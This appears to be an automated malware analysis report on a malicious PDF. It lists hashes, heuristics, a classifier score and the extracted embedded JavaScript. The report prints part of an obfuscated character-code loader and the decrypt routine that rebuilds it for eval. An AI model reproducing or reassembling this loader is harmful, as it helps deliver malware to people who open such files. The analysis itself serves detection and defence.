Malicious PDF — malware analysis report

Static analysis result for SHA-256 51e809214df4133b…

MALICIOUS

PDF

4.0 KB First seen: 2026-05-09
MD5: dfb398eace10fb48a118c023a0bf09c5 SHA-1: 34484477ee11102dedd0d60f10d6d1d754b9a7d5 SHA-256: 51e809214df4133b23c8fab88631c8d57130c62209826676c42eaf50c1398d0c
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file, 'javascript_obj0005_000.js', is likely responsible for downloading and executing a second-stage payload, a common technique for initial access.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 7927 bytes
SHA-256: d8a249cd4b55a186ca41226bb98fd3c17ac53c542902638b18cb3aa6e8a5e070
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "10,102,117,110,99,116,105,111,110,32,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,105,105,111,115,111,111,111,115,111,111,115,41,10,123,10,105,102,40,105,105,111,115,111,111,111,115,111,111,115,32,61,61,49,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,32,114,101,116,117,114,110,32,40,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,34,34,43,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,32,97,112,112,91,34,118,34,43,34,105,101,34,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,43,34,34,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,43,34,119,101,114,84,121,34,43,97,112,112,46,100,111,99,46,85,82,76,91,51,93,43,34,101,34,93,91,49,93,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,41,59,10,105,102,40,105,105,111,115,111,111,111,115,111,111,115,32,61,61,50,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,32,114,101,116,117,114,110,32,40,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,34,34,43,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,34,37,120,34,46,114,101,112,108,97,99,101,40,47,120,47,44,34,34,41,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,41,59,10,105,102,40,105,105,111,115,111,111,111,115,111,111,115,32,61,61,51,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,32,114,101,116,117,114,110,32,40,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,34,34,43,32,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,32,32,32,34,97,120,34,46,114,101,112,108,97,99,101,40,47,120,47,44,34,34,41,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,41,59,10,125,10,10,118,97,114,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,75,85,71,104,73,104,116,80,68,102,55,55,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,61,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,116,104,105,115,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,59,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,10,10,118,97,114,32,74,115,110,118,89,73,106,79,115,116,56,57,32,61,91,34,34,44,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,49,41,44,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,50,41,44,100,100,100,115,100,100,115,103,100,114,118,115,115,97,102,100,103,100,100,100,100,100,40,51,41,44,34,34,44,34,34,44,34,111,34,44,34,115,34,44,34,99,34,44,34,105,34,44,34,103,34,44,34,116,34,44,34,114,34,44,34,117,34,44,34,110,34,44,34,112,34,93,59,10,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,10,10,118,97,114,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,75,85,71,104,73,104,116,80,68,102,55,55,122,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,61,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,97,112,112,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,59,32,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,10,118,97,114,32,119,77,98,115,79,68,68,87,122,65,49,32,61,32,74,115,110,118,89,73,106,79,115,116,56,57,91,49,93,59,10,118,97,114,32,89,110,82,109,115,105,105,119,69,121,51,32,61,32,74,115,110,118,89,73,106,79,115,116,56,57,91,50,93,59,10,118,97,114,32,119,101,87,80,122,72,101,76,118,67,49,55,32,61,32,75,85,71,104,73,104,116,80,68,102,55,55,91,119,77,98,115,79,68,68,87,122,65,49,43,34,118,34,43,74,115,110,118,89,73,106,79,115,116,56,57,91,51,93,43,34,108,34,93,59,10,118,97,114,32,111,122,89,76,74,102,117,120,122,111,49,56,32,61,32,75,85,71,104,73,104,116,80,68,102,55,55,91,74,115,110,118,89,73,106,79,115,116,56,57,91,49,51,93,43,74,115,110,118,89,73,106,79,115,116,56,57,91,49,52,93,43,119,77,98,115,79,68,68,87,122,65,49,43,34,115,34,43,74,115,110,118,89,73,106,79,115,116,56,57,91,56,93,43,74,115,110,118,89,73,106,79,115,116,56,57,91,51,93,43,74,115,110,118,89,73,106,79,115,116,56,57,91,49,53,93,43,119,77,98,115,79,68,68,87,122,65,49,93,59,10,10,10,119,101,87,80,122,72,101,76,118,67,49,55,40,34,118,34,43,74,115,110,118,89,73,106,79,115,116,56,57,91,51,93,43,34,114,32,69,86,87,74,71,105,111,85,117,84,49,53,32,61,32,47,34,43,74,115,110,118,89,73,106,79,115,116,56,57,91,55,93,43,74,115,110,118,89,73,106,79,115,116,56,57,91,56,93,43,74,115,110,118,89,73,106,79,115,116,56,57,91,56,93,43,34,47,34,43,74,115,110,118,89,73,106,79,115,116,56,57,91,57,93,43,74,115,110,118,89,73,106,79,115,116,56,57,91,49,48,93,43,34,59,34,41,59,10,10,118,97,114,32,97,81,87,67,118,65,88,65,87,111,49,48,32,61,32,75,85,71,104,73,104,116,80,68,102,55,55,122,91,47,42,105,105,111,115,111,111,111,115,111,111,115,42,47,32,32,32,32,32,34,100,34,43,74,115,110,118,89,73,106,79,115,116,56,57,91,55,45,49,93,43,74,115,110,118,89,73,106,79,115,116,56,57,91,55,43,49,93,93,59,10,10,97,81,87,67,118,65,88,65,87,111,49,48,91,74,115,110,118,89,73,106,79,115,116,56,57,91,55,93,43,34,121,110,34,43,74,115,110,118,89,73,106,79,115,116,56,57,91,56,93,43,34,65,34,4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
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

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